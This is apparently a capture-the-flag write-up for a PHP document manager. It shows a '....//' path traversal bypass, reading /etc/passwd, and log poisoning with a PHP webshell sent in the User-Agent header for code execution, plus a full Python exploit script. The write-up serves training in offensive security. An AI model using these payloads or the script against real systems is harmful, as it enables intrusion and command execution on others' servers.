Challenge Overview
This challenge presents a document management system with a classic path traversal vulnerability that can be escalated to remote code execution through log poisoning.
Initial Reconnaissance
When first approaching this challenge, I started by examining the application structure:
- Authentication System: Simple PHP-based login/registration with JSON file storage
- File Management: Users can view and download documents from assigned projects
- Upload Feature: Disabled due to “recent security reports” (foreshadowing!)
The key files to examine are:
index.php
– Main application logiclogin.php
/register.php
– Authenticationflag.txt
/readflag
– The target file (moved to/flag.txt
and/readflag
in the container)
Vulnerability Discovery
Step 1: Identifying the Path Traversal
Looking at the download functionality in index.php
(lines 60-85), we find vulnerable code:
// Handle document download
if (isset($_GET['download'])) {
$file_path = $_GET['download'];
if (!empty($file_path)) {
$file_path = str_replace('../', '', $file_path); // ← Weak sanitization!
$full_path = $projects_dir . $file_path;
if (file_exists($full_path) && is_readable($full_path)) {
ob_start();
include($full_path); // ← Direct file inclusion!
$output = ob_get_clean();
// Set download headers
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
header('Content-Length: ' . strlen($output));
echo $output;
exit();
}
}
$error = "Document not found or access denied.";
}
The Problem: The sanitization str_replace('../', '', $file_path)
is easily bypassed. This only removes the exact occurrences of ../
from the string, so ....//
becomes ../
after the replacement.
Step 2: Understanding the Bypass
The bypass works because:
- Input:
....//....//....//....//flag.txt
- After
str_replace('../', '', $file_path)
:../../../../flag.txt
- Final path:
projects/../../../../flag.txt
- This resolves to
/flag.txt
Exploitation Strategy
Phase 1: Basic Path Traversal
First, let’s test if we can read files outside the projects directory:
?download=....//....//....//....//....//etc/passwd
And it works! We can access any file that our user has read permissions to.
Initially, we may think to just try this directly with the flag file with a payload like
?download=....//....//....//....//....//flag.txt
HOWEVER, the flag file is not readable directly. If we look at the Dockerfile, we see that the flag file is owned by root, and that only the root user can read the file. However, a binary named readflag is given suid, so to read the flag, we’ll need to get code execution on this machine and run /readflag
.
If we look closely at the download code, we’ll see that it for some reason uses include()
for the files instead of a safer function like file_get_contents()
, this means that if theoretically we got a php script from the server, it would execute before being delivered to us. If we had uploads, we could easily upload a webshell and be off to the races, but as is we have no immediately obvious way to get code execution.
Phase 2: Log Poisoning Attack
Uploads are disabled, but is there any other way that we can write data to files?
The Attack Vector: Apache access logs!
When you send an HTTP request with PHP code in the User-Agent header, Apache logs it like this:
127.0.0.1 - - [17/Sep/2025:16:18:43 +0000] "GET / HTTP/1.1" 200 282 "-" "<?php system($_GET['c']); ?>"
When this log file is included via PHP’s include()
, the PHP code gets executed!
That leaves us the following plan:
- Poison the Logs: Send HTTP requests with PHP code in the User-Agent header
- Include the Logs: Use path traversal to include
/var/log/apache2/access.log
- Execute Commands: The PHP code in the logs gets executed
Phase 3: Crafting the Exploit
Here’s the step-by-step process:
- Register and Login: Create a user account to access the application
- Poison Access Logs: Send a request with PHP webshell in User-Agent:
User-Agent: <?php system($_GET['c']); ?>
- Execute via Log Inclusion: Access the poisoned log file:
?download=....//....//....//....//....//var/log/apache2/access.log&c=id
Complete Exploit Code
#!/usr/bin/env python3
import requests
import sys
import time
def register_and_login(base_url):
"""Create account and login"""
session = requests.Session()
# Register
ts = int(time.time())
email = f"hacker{ts}@metactf.com"
password = f"hack{ts}!"
register_data = {
'name': f'Hacker {ts}',
'email': email,
'password': password,
'confirm_password': password,
}
session.post(f"{base_url}/register.php", data=register_data)
# Login
login_data = {'email': email, 'password': password}
session.post(f"{base_url}/login.php", data=login_data)
return session
def poison_logs(base_url):
"""Poison Apache access logs with PHP webshell"""
webshell = "<?php system($_GET['c']); ?>"
# Send request with webshell in User-Agent
headers = {'User-Agent': webshell}
requests.get(base_url, headers=headers)
print(f"[+] Logs poisoned with: {webshell}")
def execute_command(session, base_url, command):
"""Execute command via log inclusion"""
# Path traversal to access logs
log_path = "....//....//....//....//....//var/log/apache2/access.log"
url = f"{base_url}/index.php?download={log_path}&c={command}"
response = session.get(url)
return response.text
def main():
base_url = sys.argv[1].rstrip('/')
print("[*] Starting Stratagem exploit...")
# Step 1: Get authenticated session
session = register_and_login(base_url)
print("[+] Authenticated successfully")
# Step 2: Poison the logs
poison_logs(base_url)
print("[+] Logs poisoned")
# Step 3: Execute commands
print("[*] Testing command execution...")
result = execute_command(session, base_url, "id")
print(f"[*] Command output: {result}")
# Step 4: Get the flag
print("[*] Reading flag...")
flag = execute_command(session, base_url, "/readflag")
print(f"[+] Flag: {flag}")
if __name__ == "__main__":
main()